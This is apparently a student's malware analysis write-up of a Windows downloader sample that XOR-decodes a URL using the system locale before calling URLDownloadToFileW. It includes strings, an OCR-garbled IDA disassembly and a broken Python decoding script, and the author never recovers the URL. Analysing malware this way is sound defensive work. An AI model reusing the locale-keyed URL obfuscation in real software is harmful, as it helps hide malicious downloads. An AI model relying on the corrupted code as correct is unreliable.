Sample: f8c4c9

Sample

SHA256: f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daad441cd

The sample is a 32 bit Windows Portable Executable (PE) that attempts to execute a request towards
an encrypted URI via a XOR Cipher.

Task

Extract embedded strings from the sample

Static Analysis

Running floss and pestudio yielded the following results:

Notable Strings

f1DM
KERNEL32.DLL
urlmon.dll
GetSystemDefaultLocaleName
ExitProcess
IstrlenW
URLDownloadToFileW
http://NQLW BM

'@H

Imports
URLDownloadToFileW
Libs

KERNEL32.DLL
urlmon.dll

Dynamic Analysis

I've run the sample with IDA in a debug mode setting a breakpoint at the entry of the program.
From the image, we can see that the XOR Cipher is most likely to be the System's Locale.



call ds:GetSystemDefaultLocaleName g lpdirect Call Near Procedure

lea eax, [ebp+String] ; Load Effective AddresS
push eax ; lpstring Gets the system language ("en-US")
call ds:1strlenk ; Indirect Call Near Procedure
mov esi, eax
xor edi, edi cal s
xor edx, edx al
cmp esi, edi ; Compare Two Operand
jle short loc_4@1@5F ; Jump if Less or Equal (ZF=1 | SF!=0F)
1
vy
lea eax, [ebp+edx*2+5tring] ;
movzx ecx, word ptr [eax] ; !
cmp ecx, 41h ; Compare T
jb short loc_4@105A ; Jump if

l} L

ll ) =
cmp ecx, SAh ; Compare Two Operands
ja short loc_48105A ; Jump if Above (CF=0 & ZF=8)
| I
% Adding 20h to ecx which is the current letter captial
@ ——“* case letter (because of cmp ecx, 5Ah) make it a lower
add ecx, 28h===—" . Add case letter.
mov [eax], cx

T —

loc_40105A:

inc edx ; Increment by 1

cmp edx, esi ; Compare Two Operands
jl short loc_40104@ ; Jump if Less (SF!=0F)

LI |

loc_4@105F:
pu sF - ) Pushes the offset with 7 chars, essentially

skipping the "http://"

X

pop ec
vy

Indicates a MOD (%)

il s =

loc_401062:
mov (J=4

v ENY .« EAY fuith cianh

. EFEAY _~ \Y
w . The register that contains the current letter from

|. ddiv esl . the locale (ex: "e")
- [mov Lax,] [ebptedx*2+Stri.g, ’
xor [ebp@-‘m";’f] Ao logical Exclusive OR
inc ecx ; Increment by 1 Skip over the zeros
cmp ecx, 28h ; Compare Two Operands
jb short loc_401062 ; Jump if Below (CF=1)

¥

s 5

push edi ; LPBINDSTATUSCALLBACK

push edi ; DWORD

lea eax, [ebp+var_46] ; Load Effective Address
push eax ; LPCWSTR

lea eax, [ebp+var_7C] ; Load Effective Address
push eax ; LPCWSTR

push edi 5 LPUNKNOWN

call ds:URLDownloadToFileW ; Indirect Call Near Procedure
push edi 3 uExitCode

call ds:ExitProcess ; Indirect Call Near Procedure
start endp

After numerous tries to get the "key" to get the URI | gave up, the results didn't make any sense to me.
| wrote a simple python script that should have got me the URI but it outputs gibberish.

encoded_url =
b'\x68\x74\x74\x70\x3a\x2T\x2T\x4e\x51\x4c\x57\x09\x42\x4d\x0f\x04\x5f\x5a\x



4d\x03\x17\x0b\x2d\x3c\x07\x31\x4Tf\x02\x06\x03\x07\x41\x06\x20\x27\ x40\ x48\x
1b\x07'

sys_lang = "en-us"

for i in range(7, len(encoded_url)):
print(chr(encoded_url[i] A oxrd(sys_lang[i % len(sys_lang)])), end="")

I though that | would successfully bruteforce the key by creating a script but after about 20-30 min of
running | gave up.

The strings that | got follows:

c$?29o8|alw8preltT!/spb/+UT%&61%
c$?2go8|alw8pre Isb_bwufilsSB.ent
bwufi

| also put Fiddler to check any outgoing connections that could get me the decoded URI however none
appeared.

Tools

e procmon

e Fiddler

e |netsim

e Wireshark

e IDA Freeware

e Cutter

e floss

e pestudio

e VirtualBox
o FLARE VM (Win10 Enterprise for Malware Analysis)
o REMnux



